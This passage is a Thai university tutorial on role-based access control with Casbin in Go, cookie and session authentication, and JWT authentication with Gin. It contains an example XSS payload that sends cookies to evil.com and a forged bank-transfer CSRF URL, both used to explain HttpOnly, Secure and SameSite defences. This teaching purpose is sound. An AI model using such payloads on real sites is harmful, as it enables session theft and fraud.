บทความโดย มหาวิทยาลัยศิลปากรมหาวิทยาลัยศิลปากร

ภาควิชาคอมพิวเตอร์มหาวิทยาลัยศ

บทความโดย ผศ.ดร.ณัฐโชติ พรหมฤทธิ์ และ อ.ดร.สัจจาภรณ์ ไวจรรยา
ภาควิชาคอมพิวเตอร์
คณะวิทยาศาสตร์
มหาวิทยาลัยศิลปากร

บทความนี้ใช้สำหรับสอนนักศึกษาเกี่ยวกับการทำ JWT Authentication และการทำ Authorization ใน Auth Service (REST API) พร้อมตัวอย่าง Code ภาษา Go เพื่อให้เข้าใจวิธีการตรวจสอบสิทธิ์และการป้องกันการเข้าถึงข้อมูลได้อย่างถูกต้อง

พื้นฐานของ Authentication และ Authorization

Authentication หรือ การตรวจสอบตัวตน เป็นกระบวนการที่ใช้ข้อมูลการยืนยันตัวตนของผู้ใช้ เช่น Username และ Password

หลังจากที่ระบบตรวจสอบตัวตนแล้ว จะมีการกำหนดสิทธิ์การเข้าถึงทรัพยากร หรือ API ต่าง ๆ (Authorization) โดยอาจใช้แนวคิด Role-Based Access Control (RBAC) เพื่อกำหนดบทบาท (Role) ให้กับผู้ใช้และกำหนดสิทธิ์ (Permission) ที่สอดคล้องกับความรับผิดชอบของแต่ละบทบาท

RBAC เป็นแนวทางในการจัดการสิทธิ์ โดยแบ่งผู้ใช้ออกเป็นกลุ่ม (Role) และผูกสิทธิ์ (Permission) กับ Role นั้น ๆ เปรียบเสมือนการจัดการกุญแจเข้าห้องต่าง ๆ ในโรงเรียน โดยแต่ละคนจะมีกุญแจที่เปิดได้ไม่เหมือนกัน ขึ้นอยู่กับบทบาทของเขา

ตัวอย่างการใช้ RBAC ในระบบทะเบียนนักศึกษา โดยกำหนดบทบาท (Role) 3 แบบ ได้แก่

• ผู้ใช้ที่มี Role เป็นผู้ดูแลระบบ (admin) สามารถจัดการรายวิชาได้ทั้งหมด และดูข้อมูลนักศึกษา
• ผู้ใช้ที่มี Role เป็นอาจารย์ (teacher) สามารถดูรายวิชา ให้เกรด และดูข้อมูลนักศึกษา
• ผู้ใช้ที่มี Role เป็นนักศึกษา (student) สามารถดูรายวิชาและเกรดของตนเอง

แต่ละ Role จะมีสิทธิ์ (Permission) ที่แตกต่างกัน โดย Permission ถูกกำหนดในรูปแบบ ใคร (admin, teacher และ student) สามารถทำ อะไร (create, update, delete และ view) กับ ทรัพยากรใด (course, student และ grade)

Casbin เป็น Library ใน go ที่รองรับการกำหนดและตรวจสอบสิทธิ์ตามโมเดลต่าง ๆ รวมถึง RBAC โดย Casbin จะใช้ File โมเดล (Model Configuration) และ File นโยบาย (Policy) เพื่อกำหนดว่าใคร (Subject) สามารถทำอะไร (Action) กับทรัพยากร (Object) ได้บ้าง

ตัวอย่าง RBAC ใน Casbin โดยมีโครงสร้างของ Project ดังต่อไปนี้

.
├── auth
├── go.mod
├── go.sum
├── main.go
├── model.conf
└── policy.csv

1. model.conf

File นี้จะกำหนดรูปแบบของ request, policy, role definition, และ matchers ที่ใช้ในการตรวจสอบสิทธิ์

[request_definition]
r = sub, obj, act

[policy_definition]
p = sub, obj, act

[role_definition]
g = _, _

[policy_effect]
e = some(where (p.eft == allow))

[matchers]
m = g(r.sub, p.sub) && r.obj == p.obj && r.act == p.act

[request_definition] คือ การกำหนดรูปแบบของข้อมูลที่ส่งเข้ามา (เช่น subject, object, action)

[policy_definition] คือ การกำหนดรูปแบบของนโยบาย (Policy) ว่า Role ใดสามารถกระทำอะไรกับทรัพยากรใด

[role_definition] คือ การกำหนดความสัมพันธ์ระหว่าง subject กับ role เช่น g, alice, admin

[matchers] คือ การกำหนดเงื่อนไขในการจับคู่สิทธิ์ ซึ่งในที่นี้จะเช็คว่า subject มี Role ที่ตรงกับนโยบายหรือไม่ และตรวจสอบว่า object กับ action ตรงกันหรือไม่

2. policy.csv

File นี้จะกำหนดนโยบาย (Policy) ว่า Role ใดสามารถทำอะไรกับทรัพยากรใดได้ตามที่ออกแบบไว้

# นโยบายสำหรับผู้ดูแลระบบ (admin)
p, admin, course, create
p, admin, course, update
p, admin, course, delete
p, admin, course, view
p, admin, student, view

# นโยบายสำหรับอาจารย์ (teacher)
p, teacher, course, view
p, teacher, grade, update
p, teacher, student, view
p, teacher, grade, view

# นโยบายสำหรับนักศึกษา (student)
p, student, course, view
p, student, grade, view

# กำหนดความสัมพันธ์ระหว่างผู้ใช้กับ Role
g, alice, admin
g, bob, teacher
g, charlie, student

3. ตัวอย่าง Code การใช้งาน Casbin

Code ตัวอย่างด้านล่างนี้แสดงวิธีการสร้าง Casbin enforcer และการตรวจสอบสิทธิ์ตามนโยบายในระบบทะเบียนนักศึกษา โดยมีรายละเอียดดังต่อไปนี้

สร้าง enforcer ด้วยการระบุไฟล์โมเดล (model.conf) และไฟล์นโยบาย (policy.csv)

ใช้ e.Enforce(sub, obj, act) ในการตรวจสอบสิทธิ์ เช่น e.Enforce("alice", "course", "create") จะตรวจสอบว่า alice (ซึ่งมี Role admin ตามที่กำหนดในไฟล์นโยบาย) มีสิทธิ์ในการสร้าง (create) รายวิชา (course) หรือไม่

ผลลัพธ์ที่ได้จะแสดงว่าผู้ใช้แต่ละคนสามารถกระทำ action กับทรัพยากรตามที่กำหนดได้หรือไม่

package main

import (
	"fmt"
	"log"

	"github.com/casbin/casbin/v2"
)

func main() {
	// สร้าง Casbin enforcer โดยใช้ model.conf และ policy.csv
	e, err := casbin.NewEnforcer("model.conf", "policy.csv")
	if err != nil {
		log.Fatalf("Error creating enforcer: %v", err)
	}

	// ตัวอย่างตรวจสอบสิทธิ์

	// 1. ตรวจสอบว่า alice (admin) สามารถสร้างรายวิชาได้หรือไม่
	ok, err := e.Enforce("alice", "course", "create")
	if err != nil {
		log.Fatalf("Enforce error: %v", err)
	}
	fmt.Printf("Can alice create course? %v\n", ok) // ควรได้ true

	// 2. ตรวจสอบว่า bob (teacher) สามารถลบรายวิชาได้หรือไม่ (teacher ไม่มีสิทธิ์ลบรายวิชา)
	ok, err = e.Enforce("bob", "course", "delete")
	if err != nil {
		log.Fatalf("Enforce error: %v", err)
	}
	fmt.Printf("Can bob delete course? %v\n", ok) // ควรได้ false

	// 3. ตรวจสอบว่า bob (teacher) สามารถดูรายวิชาได้หรือไม่
	ok, err = e.Enforce("bob", "course", "view")
	if err != nil {
		log.Fatalf("Enforce error: %v", err)
	}
	fmt.Printf("Can bob view course? %v\n", ok) // ควรได้ true

	// 4. ตรวจสอบว่า charlie (student) สามารถดูเกรดของตนเองได้หรือไม่
	ok, err = e.Enforce("charlie", "grade", "view")
	if err != nil {
		log.Fatalf("Enforce error: %v", err)
	}
	fmt.Printf("Can charlie view grade? %v\n", ok) // ควรได้ true

	// 5. ตรวจสอบว่า charlie (student) สามารถแก้ไขเกรดได้หรือไม่
	ok, err = e.Enforce("charlie", "grade", "update")
	if err != nil {
		log.Fatalf("Enforce error: %v", err)
	}
	fmt.Printf("Can charlie update grade? %v\n", ok) // ควรได้ false
}

Casbin รองรับการที่ผู้ใช้ (user) สามารถมีหลาย role ได้ โดยใช้กลไกของ group definition (ส่วนที่ระบุด้วย g)

ปรับปรุง policy.csv ให้ผู้ใช้สามารถมีหลาย role ได้

# นโยบายสำหรับผู้ดูแลระบบ (admin)
p, admin, course, create
p, admin, course, update
p, admin, course, delete
p, admin, course, view
p, admin, student, view

# นโยบายสำหรับอาจารย์ (teacher)
p, teacher, course, view
p, teacher, grade, update
p, teacher, student, view
p, teacher, grade, view

# นโยบายสำหรับนักศึกษา (student)
p, student, course, view
p, student, grade, view

# กำหนดความสัมพันธ์ระหว่างผู้ใช้กับ Role
g, alice, admin
g, bob, teacher
g, charlie, student

# สมมุติว่า nuttachot สามารถมีหลาย role คือ teacher และ student
g, nuttachot, teacher
g, nuttachot, student

เมื่อมีการตรวจสอบสิทธิ์สำหรับ nuttachot ระบบจะตรวจสอบผ่านทั้งนโยบายที่กำหนดไว้สำหรับ teacher และ student

package main

import (
	"fmt"
	"log"

	"github.com/casbin/casbin/v2"
)

func main() {
	// สร้าง Casbin enforcer โดยใช้ model.conf และ policy.csv
	e, err := casbin.NewEnforcer("model.conf", "policy.csv")
	if err != nil {
		log.Fatalf("Error creating enforcer: %v", err)
	}

	// ตรวจสอบสิทธิ์สำหรับ nuttachot ที่มี role teacher และ student

	// 1. ตรวจสอบว่า nuttachot สามารถดูรายวิชา (teacher: view) ได้หรือไม่
	ok, err := e.Enforce("nuttachot", "course", "view")
	if err != nil {
		log.Fatalf("Enforce error: %v", err)
	}
	fmt.Printf("Can nuttachot view course? %v\n", ok) // ควรได้ true (เพราะ teacher มีสิทธิ์ view course)

	// 2. ตรวจสอบว่า nuttachot สามารถให้เกรด (teacher: update grade) ได้หรือไม่
	ok, err = e.Enforce("nuttachot", "grade", "update")
	if err != nil {
		log.Fatalf("Enforce error: %v", err)
	}
	fmt.Printf("Can nuttachot update grade? %v\n", ok) // ควรได้ true (เพราะ teacher มีสิทธิ์ update grade)

	// 3. ตรวจสอบว่า nuttachot สามารถดูเกรด (student: view grade) ได้หรือไม่
	ok, err = e.Enforce("nuttachot", "grade", "view")
	if err != nil {
		log.Fatalf("Enforce error: %v", err)
	}
	fmt.Printf("Can nuttachot view grade? %v\n", ok) // ควรได้ true (เพราะ student มีสิทธิ์ view grade)

	// 4. ตรวจสอบว่า nuttachot สามารถลบรายวิชา (teacher/student ไม่มีสิทธิ์ delete) ได้หรือไม่
	ok, err = e.Enforce("nuttachot", "course", "delete")
	if err != nil {
		log.Fatalf("Enforce error: %v", err)
	}
	fmt.Printf("Can nuttachot delete course? %v\n", ok) // ควรได้ false
}

เราสามารถเพิ่มผู้ใช้ใหม่ที่มีหลาย role ได้ (ในตัวอย่างนี้คือ sajjaporn ที่มี role เป็นทั้ง teacher และ student)

เราจะใช้ Function e.AddGroupingPolicy(user, role)และ e.SavePolicy() เพื่อเพิ่มความสัมพันธ์ระหว่างผู้ใช้กับ role โดยมีเป้าหมาย คือ การเพิ่ม group definition (ส่วนที่ระบุด้วย g) ลงใน File policy.csv ดังตัวอย่างต่อไปนี้

g, sajjaporn, teacher
g, sajjaporn, student

ซึ่ง AddGroupingPolicy จะบันทึกการเปลี่ยนแปลงลงในหน่วยความจำ ส่วน e.SavePolicy() จะบันทึกการเปลี่ยนแปลงลงใน File policy.csv

package main

import (
	"fmt"
	"log"

	"github.com/casbin/casbin/v2"
)

// ฟังก์ชันช่วยแสดงนโยบายทั้งหมด
func printPolicies(e *casbin.Enforcer) {
	policies, err := e.GetPolicy()
	if err != nil {
		fmt.Printf("Error retrieving policies: %v\n", err)
		return
	}
	groupingPolicies, err := e.GetGroupingPolicy()
	if err != nil {
		fmt.Printf("Error retrieving grouping policies: %v\n", err)
		return
	}

	fmt.Println("Direct Policies:")
	for _, p := range policies {
		fmt.Println(p)
	}
	fmt.Println("Grouping Policies:")
	for _, g := range groupingPolicies {
		fmt.Println(g)
	}
}

func main() {
	// โหลด enforcer จากไฟล์ model.conf และ policy.csv
	e, err := casbin.NewEnforcer("model.conf", "policy.csv")
	if err != nil {
		log.Fatalf("Error creating enforcer: %v", err)
	}

	// แสดงนโยบายก่อนเพิ่ม user ใหม่
	fmt.Println("Policies before adding new user:")
	printPolicies(e)

	// เพิ่ม sajjaporn ให้มี role เป็นทั้ง teacher และ student
	added, err := e.AddGroupingPolicy("sajjaporn", "teacher")
	if err != nil {
		log.Fatalf("Error adding grouping policy: %v", err)
	}
	if added {
		fmt.Println("Added grouping policy: (sajjaporn, teacher)")
	}
	added, err = e.AddGroupingPolicy("sajjaporn", "student")
	if err != nil {
		log.Fatalf("Error adding grouping policy: %v", err)
	}
	if added {
		fmt.Println("Added grouping policy: (sajjaporn, student)")
	}

	// บันทึกนโยบายกลับไปที่ไฟล์
	if err := e.SavePolicy(); err != nil {
		log.Fatalf("Error saving policy: %v", err)
	}

	// แสดงนโยบายหลังจากเพิ่ม user ใหม่
	fmt.Println("\nPolicies after adding new user:")
	printPolicies(e)

	// ทดสอบตรวจสอบสิทธิ์ของ sajjaporn
	// 1. ตรวจสอบว่า sajjaporn สามารถดูรายวิชา (action "view" บน "course") ได้หรือไม่
	ok, err := e.Enforce("sajjaporn", "course", "view")
	if err != nil {
		log.Fatalf("Enforce error: %v", err)
	}
	fmt.Printf("\nCan sajjaporn view course? %v\n", ok) // คาดหวัง true (เนื่องจาก teacher มีสิทธิ์ view course)

	// 2. ตรวจสอบว่า sajjaporn สามารถให้เกรด (action "update" บน "grade") ได้หรือไม่
	ok, err = e.Enforce("sajjaporn", "grade", "update")
	if err != nil {
		log.Fatalf("Enforce error: %v", err)
	}
	fmt.Printf("Can sajjaporn update grade? %v\n", ok) // คาดหวัง true (teacher มีสิทธิ์ update grade)

	// 3. ตรวจสอบว่า sajjaporn สามารถดูเกรด (action "view" บน "grade") ได้หรือไม่
	ok, err = e.Enforce("sajjaporn", "grade", "view")
	if err != nil {
		log.Fatalf("Enforce error: %v", err)
	}
	fmt.Printf("Can sajjaporn view grade? %v\n", ok) // คาดหวัง true (student มีสิทธิ์ view grade)

	// 4. ตรวจสอบว่า sajjaporn สามารถลบรายวิชา (action "delete" บน "course") ได้หรือไม่
	ok, err = e.Enforce("sajjaporn", "course", "delete")
	if err != nil {
		log.Fatalf("Enforce error: %v", err)
	}
	fmt.Printf("Can sajjaporn delete course? %v\n", ok) // คาดหวัง false (ไม่มี role ที่ให้สิทธิ์ delete course)
}

หมายเหตุ ในระบบ Production เราอาจใช้ฐานข้อมูลเพื่อจัดเก็บ Policy และจัดการสิทธิ์ผ่าน API แต่สำหรับตัวอย่างนี้เราใช้ File policy.csvเพื่อความง่ายในการสาธิต

การ Authen ด้วย Cookie และ Session

Cookie เป็นข้อมูลเล็ก ๆ ที่ Server ฝากไว้ใน Browser ช่วยให้ Website จดจำผู้ใช้และสถานะต่าง ๆ ได้ เช่น เราชอบอะไร หรือทำอะไรไปแล้ว เหมือนป้ายชื่อที่ติดตัวเราไปทุกหน้า Web ช่วยให้เกิดประสบการณ์การใช้งานที่ต่อเนื่องและสะดวกขึ้น แม้ว่าในเราจะใช้ HTTP/HTTPS Protocol ในการสื่อสารระหว่าง Server และ Browser ที่ปกติจะไม่จดจำข้อมูลระหว่าง Request แต่ละครั้ง

• ผู้ใช้ให้ข้อมูล Credential เช่น ชื่อผู้ใช้และรหัสผ่าน
• Server ตรวจสอบ ข้อมูล Credential และสร้าง Session ID หรือ Token
• Session ID นี้จะถูกส่งไปยัง Browser และเก็บไว้ใน Cookie
• ก่อนจะติดต่อกับ Server อีก Browser จะรวม Cookie ไว้ใน Cookie Header ของ HTTP Request โดยอัตโนมัติ
• Server อ่าน Session ID จาก Cookie ตรวจสอบ และระบุตัวผู้ใช้

Session เป็นวิธีที่ Server ใช้จำผู้ใช้โดยเก็บข้อมูลไว้ที่ฝั่ง Server และให้ผู้ใช้ถือแค่ Session ID ผ่าน Cookie เหมือนการฝากสมุดข้อมูลไว้กับธนาคาร แล้วได้บัตรแสดงตน (Session ID ) มาใช้แทน

Session ถูกใช้เพื่อยืนยันตัวตนและติดตามสถานะผู้ใช้ ดังขั้นตอนต่อไปนี้

• ผู้ใช้ให้ข้อมูล Credential เช่น ชื่อผู้ใช้และรหัสผ่าน
• Server ตรวจสอบ ข้อมูล Credential และสร้าง Session ID ที่ไม่ซ้ำ ID นี้เหมือนกุญแจที่เชื่อมโยงไปยังข้อมูลของผู้ใช้
• Session ID นี้จะถูกส่งไปยัง Browser และเก็บไว้ใน Cookie
• Server จะเก็บข้อมูลของผู้ใช้ไว้ในหน่วยความจำ ฐานข้อมูล หรือที่เก็บอื่น ๆ โดยใช้ Session ID เป็นกุญแจในการค้นหา เช่น
  
  ผู้ใช้ nuttachot
  สิทธิ์ admin
  เวลาเริ่ม 2025-02-22 10:00
• ทุกครั้งที่ผู้ใช้ส่ง Request เช่น ดูหน้า Profile, Browser จะส่ง Session ID กลับมา ผ่าน Cookie
• เมื่อ Server เห็น Session ID แล้วไปค้นข้อมูลในหน่วยความจำ ฐานข้อมูล หรือที่เก็บอื่น ๆ ก็จะรู้ว่าเป็น nuttachot และมีสิทธิ์อะไร

Session มีอายุจำกัด (Time-to-Live หรือ TTL) เช่น 30 นาที ถ้าไม่มีการใช้งาน หรือ 24 ชั่วโมงสูงสุด ถ้าหมดอายุ Server จะลบข้อมูล ทำให้ผู้ใช้ต้อง Login ใหม่

Server จะลบข้อมูลที่ผูกกับ Session ID ให้กลายเป็นโมฆะ เมื่อผู้ใช้ Logout หรือมีปัญหาความปลอดภัย

ช่องโหว่ในการใช้ Cookie

Cross-Site Scripting (XSS)

XSS คือการที่ Hacker ฉีด Code JavaScript ที่เป็นอันตรายเข้าไปใน Website เพื่อให้ Code นั้นทำงานใน Browser ของผู้ใช้ ถ้า Website เก็บข้อมูลสำคัญไว้ใน Cookie (เช่น Session ID หรือ Token) Code ที่ถูกฉีดเข้ามา จะสามารถขโมย Cookie ได้ผ่านคำสั่ง document.cookie

เมื่อ Hacker ได้ Cookie ไป พวกเขาสามารถปลอมเป็นตัวเรา เพื่อเข้าถึงบัญชีธนาคาร หรือทำอะไรอย่างอื่นที่แย่กว่านั้นได้

สมมติเราใช้ Website ธนาคารที่มี Cookie สำหรับเก็บ Session ID การ Login

Server ตั้งค่า Set-Cookie: sessionId=abc123

Hacker ฉีด Code <script>fetch('https://evil.com?cookie=' + document.cookie)</script>

ผลลัพธ์ abc123 จะถูกส่งไปที่ evil.com แล้ว Hacker ก็ใช้ในการ Login แทนเราได้

การป้องกัน XSS

เราสามารถป้องกันไม่ให้ JavaScript อ่าน Cookie ได้โดยให้ Server ตั้งค่า Cookie เป็น HttpOnly เพื่อบอก Browser ว่า ห้ามให้ JavaScript เข้าถึง Cookie นี้เด็ดขาด ทำให้ document.cookie ไม่แสดง Session ID

Server ตั้งค่า Set-Cookie: sessionId=abc123; HttpOnly

Hacker ฉีด Code <script>fetch('https://evil.com?cookie=' + document.cookie)</script>

ผลลัพธ์ "" (สตริงว่างเปล่า) จะถูกส่งไปที่ evil.com

Man-in-the-Middle Attack (MITM)

MITM คือการที่ Hacker สามารถดักจับข้อมูลที่ส่งระหว่างผู้ใช้กับ Server ได้ ถ้า Cookie (เช่น Session ID) ถูกส่งผ่าน HTTP ซึ่งไม่มีการเข้ารหัส ข้อมูลจะอยู่ในรูป Plain Text ทำให้ Hacker ขโมย Session ID ไปใช้ได้ง่าย ๆ

การป้องกัน MITM

เราสามารถบังคับให้ Cookie เป็น Secure เพื่อให้มันถูกส่งผ่านการเชื่อมต่อที่ปลอดภัยผ่าน HTTPS เท่านั้น ถ้า Website พยายามใช้ HTTP แล้ว Cookie จะไม่ถูกส่งไปด้วย

Server ตั้งค่า Set-Cookie: sessionId=abc123; Secure; HttpOnly

Cross-Site Request Forgery (CSRF)

เป็นการโจมตีที่ Hacker หลอกให้ Browser ของผู้ใช้ส่ง Request ไปยัง Website ที่ผู้ใช้เคย Login ไว้ โดยที่ผู้ใช้ไม่รู้ตัวหรือไม่ได้ตั้งใจ คำขอนี้มักจะเป็นการกระทำที่สำคัญ เช่น การโอนเงิน การเปลี่ยนรหัสผ่าน หรือการลบข้อมูล ฯลฯ

สมมติว่าเรา Login เข้า Web ธนาคาร (bank.com) และมี Session Cookie เก็บอยู่ใน Browser

เราเปิด Tab ใหม่ แล้วเผลอเข้าเว็บอันตรายที่ Hacker สร้าง (evil.com) โดย evil.com มี Code ซ่อนอยู่ เช่น URL ที่ส่ง Request ไปยัง bank.com/transfer?amount=1000&to=attacker โดยอัตโนมัติ

Browser เห็นว่าเป็น Request ไป bank.com ก็ส่ง Session Cookie ไปด้วย เมื่อ Server ของ bank.com เห็น Cookie แล้วคิดว่าเป็น Request จากเราจริง ๆ ก็โอนเงินให้ Hacker ทันที

การป้องกัน CSRF

อาจเพิ่มรหัสลับที่ Hacker เดาไม่ได้ โดย Server ส่งให้ผู้ใช้ตอน Login ทุกครั้งที่ส่ง Request สำคัญ เช่น การโอนเงิน ผู้ใช้ต้องแนบรหัสลับนี้ไปด้วย เพื่อให้ Server ตรวจว่ารหัสลับถูกต้องหรือไม่ ถ้าไม่มีหรือไม่ตรง Request จะถูกปฏิเสธ

หรืออาจให้ Server เพิ่ม SameSite Attribute ใน Cookie

Server ตั้งค่า Set-Cookie: sessionId=abc123; SameSite=Strict; Secure; HttpOnly

SameSite=Strict ทำให้ Cookie จะถูกส่งเฉพาะเมื่อคำขอมาจาก Web เดียวกัน เช่น bank.com ไม่ใช่จาก Web อื่น

SameSite=Lax อนุญาตบางกรณี เช่น การคลิก Link แต่จะบล็อกคำขอข้าม Site ที่เป็นอันตราย เช่น จาก Script หรือ Form อัตโนมัติ

แต่การเก็บ Session บน Server (Stateful) จะทำให้ไม่สามารถ Scale Server เพื่อรองรับการใช้งานที่เพิ่มขึ้นได้ง่าย ๆ

พื้นฐานของ JSON Web Token (JWT)

JWT ประกอบด้วย 3 ส่วนหลัก ที่เข้ารหัส (Encode) แบบ Base64URL (ที่ปรับตัวอักษรให้เข้ากับ URL ได้ โดยเปลี่ยน + เป็น -, / เป็น _, และตัด = ออก ทำให้ Token ถูกส่งผ่าน URL ได้สะดวก ปลอดภัย และไม่ต้องเข้ารหัสเพิ่ม) แล้วนำมาต่อกันด้วย . ได้แก่

• Header สำหรับระบุประเภทของ Token (JWT) และ Algorithm ที่ใช้ลงนาม เช่น HS256

{
  "alg": "HS256",
  "typ": "JWT"
}

• Payload สำหรับบรรจุข้อมูล Claim เช่น User ID, Role เวลา Expiration (exp) เป็นต้น

{
  "exp": 1738894041,
  "username": "nuttachot"
}

• Signature สำหรับการเข้ารหัส (Encrypt) เพื่อให้แน่ใจว่า Token ไม่ถูกแก้ไข โดยใช้ Secret Key หรือในบางระบบอาจใช้ Private/Public Key

HMACSHA256(
    base64UrlEncode(header) + "." + base64UrlEncode(payload),
    Secret Key
)

ตัวอย่าง JWT 3 ส่วนที่นำมาต่อกันด้วย .

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3Mzg4OTQwNDEsInVzZXJuYW1lIjoibnV0dGFjaG90In0.gdK2Dgxd7xo8JMvRP4uL64DscYam3tNKrvd7tK4hIMY

การใช้งานในระบบ Auth Service

• เมื่อผู้ใช้ Login แล้ว ระบบจะออก JWT ให้กับผู้ใช้ โดย Token นี้จะถูกส่งกลับไปใน Response
• เมื่อ Client ขอใช้งานระบบ JWT จะถูกส่งมายัง Backend กับ Request ใน Header (Authorization: Bearer JWT)
• Server ที่รับ Request สามารถตรวจสอบ Token ด้วยการ Validate Signature และตรวจสอบการ Claim ต่าง ๆ (เช่น ตรวจสอบเวลาหมดอายุ)
• เมื่อผ่านการตรวจสอบแล้ว จึงส่งข้อมูลกลับไปให้ Client

Code ด้านล่างต่อไปนี้เป็นตัวอย่างการใช้งาน JWT ในระบบ Auth Service โดยเมื่อผู้ใช้ Login สำเร็จ ระบบจะส่ง JWT กลับมา และเมื่อมีการเรียกใช้ Endpoint ที่ต้องการการ Authentication ผู้ใช้ต้องส่ง Token ที่ถูกต้องใน Header (Authorization: Bearer JWT) ไปยัง Backend เพื่อให้ระบบตรวจสอบความถูกต้องของ Token ก่อนให้เข้าถึงข้อมูล

package main

import (
	"fmt"
	"net/http"
	"time"

	"github.com/gin-gonic/gin"
	"github.com/golang-jwt/jwt/v4"
)

// Secret key สำหรับใช้เข้ารหัส Token (ควรเก็บไว้เป็นความลับ)
var jwtSecret = []byte("your-secret-key")

// generateToken สร้าง JWT โดยรับ username เป็น claim พร้อมตั้งเวลาหมดอายุ (exp)
func generateToken(username string) (string, error) {
	// สร้าง token พร้อมกำหนด claims
	claims := jwt.MapClaims{
		"username": username,
		"exp":      time.Now().Add(72 * time.Hour).Unix(), // กำหนดอายุ token 72 ชั่วโมง
	}
	token := jwt.NewWithClaims(jwt.SigningMethodHS256, claims)

	// ลงนาม token ด้วย secret key
	tokenString, err := token.SignedString(jwtSecret)
	if err != nil {
		return "", err
	}
	return tokenString, nil
}

// JWTAuthMiddleware เป็น middleware สำหรับตรวจสอบ JWT ใน Header ของ Request
func JWTAuthMiddleware() gin.HandlerFunc {
	return func(c *gin.Context) {
		// ดึงค่า Authorization header
		authHeader := c.GetHeader("Authorization")
		if authHeader == "" {
			c.JSON(http.StatusUnauthorized, gin.H{"error": "Authorization header required"})
			c.Abort()
			return
		}

		// คาดว่า header อยู่ในรูปแบบ "Bearer <token>"
		var tokenString string
		if len(authHeader) > 7 && authHeader[:7] == "Bearer " {
			tokenString = authHeader[7:]
		} else {
			c.JSON(http.StatusUnauthorized, gin.H{"error": "Invalid Authorization header format"})
			c.Abort()
			return
		}

		// ตรวจสอบและแปลง token
		token, err := jwt.Parse(tokenString, func(token *jwt.Token) (interface{}, error) {
			// ตรวจสอบว่าใช้ Signing Method ที่คาดหวังหรือไม่
			if _, ok := token.Method.(*jwt.SigningMethodHMAC); !ok {
				return nil, fmt.Errorf("unexpected signing method: %v", token.Header["alg"])
			}
			return jwtSecret, nil
		})
		if err != nil || !token.Valid {
			c.JSON(http.StatusUnauthorized, gin.H{"error": "Invalid or expired token"})
			c.Abort()
			return
		}

		// ดึงข้อมูล claims แล้วส่งต่อให้ handler ภายหลัง
		if claims, ok := token.Claims.(jwt.MapClaims); ok {
			c.Set("username", claims["username"])
		}
		c.Next()
	}
}

func main() {
	router := gin.Default()

	// Endpoint สำหรับ Login: เมื่อ Login ผ่านระบบจะออก JWT ให้กับผู้ใช้
	router.POST("/login", func(c *gin.Context) {
		// ตัวอย่างข้อมูล Login (ในความเป็นจริงควรตรวจสอบกับฐานข้อมูล)
		var loginData struct {
			Username string `json:"username"`
			Password string `json:"password"`
		}
		if err := c.ShouldBindJSON(&loginData); err != nil {
			c.JSON(http.StatusBadRequest, gin.H{"error": "Invalid request payload"})
			return
		}

		// ตรวจสอบความถูกต้องของ username และ password (ตัวอย่างนี้ใช้ค่า static)
		if loginData.Username != "nuttachot" || loginData.Password != "password" {
			c.JSON(http.StatusUnauthorized, gin.H{"error": "Invalid credentials"})
			return
		}

		// สร้าง JWT ให้กับผู้ใช้
		token, err := generateToken(loginData.Username)
		if err != nil {
			c.JSON(http.StatusInternalServerError, gin.H{"error": "Failed to generate token"})
			return
		}

		// ส่ง Token กลับไปให้ Client
		c.JSON(http.StatusOK, gin.H{"token": token})
	})

	// สร้าง Group ของ Endpoint ที่ต้องการตรวจสอบ JWT
	protected := router.Group("/protected")
	protected.Use(JWTAuthMiddleware())
	{
		// Endpoint ตัวอย่างที่ต้องการ Authentication
		protected.GET("/profile", func(c *gin.Context) {
			// ดึง username จาก context ที่ถูกตั้งไว้ใน middleware
			username, _ := c.Get("username")
			c.JSON(http.StatusOK, gin.H{
				"message": fmt.Sprintf("Welcome %s! You have accessed a protected endpoint.", username),
			})
		})
	}

	// รัน Server ที่ port 8080
	router.Run(":8080")
}

ทดลอง Login และใช้งาน JWT ผ่าน Postman

• เรียกใช้ REST API ด้วย Method POST ที่เส้น http://localhost:8080/login พร้อมส่ง JSON ดังต่อไปนี้

{
    "username": "nuttachot", 
    "password": "password"
}

• หากข้อมูลถูกต้อง ระบบจะตอบกลับเป็น JSON ที่มี Token เช่น

{
    "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3Mzg4OTAzMjIsInVzZXJuYW1lIjoibnV0dGFjaG90In0.0ywTRAdb5l1tuTefEteSgdleEd0suHGLkej6Z5-ZBaY"
}

• ทดลองนำไป Decode ที่ https://jwt.io พร้อมใส่ Secret Key (your-secret-key) ของเราเอง

• สร้าง Request ใหม่ด้วย Method GET ที่เส้น http://localhost:8080/protected/profile โดยไปที่ Tab Headers แล้วเพิ่ม header ดังต่อไปนี้

Key : Authorization
Value : Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3Mzg4OTAzMjIsInVzZXJuYW1lIjoibnV0dGFjaG90In0.0ywTRAdb5l1tuTefEteSgdleEd0suHGLkej6Z5-ZBaY

JWT เป็น Stateless โดยมันจะเก็บข้อมูลทุกอย่างที่จำเป็นในตัวเอง ทำให้ Server ไม่ต้องจำอะไร และลดภาระในการ Query ข้อมูลของ Server แค่มีกุญแจลับเพื่อตรวจสอบมันก็พอ ซึ่งแตกต่างจากระบบแบบดั้งเดิม (Stateful) ที่ Server ต้องเก็บข้อมูล Session ไว้

เหมือนบัตรประชาชนที่บอกทุกอย่างเกี่ยวกับตัวเรา โดยไม่ต้องให้หน่วยงานรัฐที่ติดต่อต้องเก็บข้อมูลเพิ่ม ช่วยให้การทำงานของระบบง่าย รวดเร็ว และเหมาะกับ Distributed Architecture ทำให้สามารถเพิ่ม Server ใหม่ได้ทันที โดยไม่ต้องกังวลเรื่องการ Sync ข้อมูล Session

ข้อจำกัดหนึ่งของ JWT คือ ยกเลิกยาก JWT ไม่ได้ถูกเก็บไว้บน Server ถ้า JWT ถูกขโมย มันจะถูกใช้ได้จนหมดอายุ

เราสามารภแก้ได้ด้วยการทำ Blacklist แต่ก็จะขัดหลักการ Stateless หรือใช้ Refresh Token ซึ่งเป็น Token พิเศษที่มีอายุยาว (เช่น 7 วัน) มักเป็น String ยาว ๆ ที่สุ่มขึ้นมา โดยออกให้พร้อมกับ JWT ตอน Login ที่อายุสั้นกว่า (เช่น 15 นาที)

มันมีไว้เพื่อขอ JWT ใหม่เมื่อ JWT เดิมหมดอายุ โดยที่ผู้ใช้ไม่ต้องกรอกชื่อผู้ใช้และรหัสผ่านซ้ำ

การช่องโหว่ในการใช้ JWT

Cross-Site Scripting (XSS)

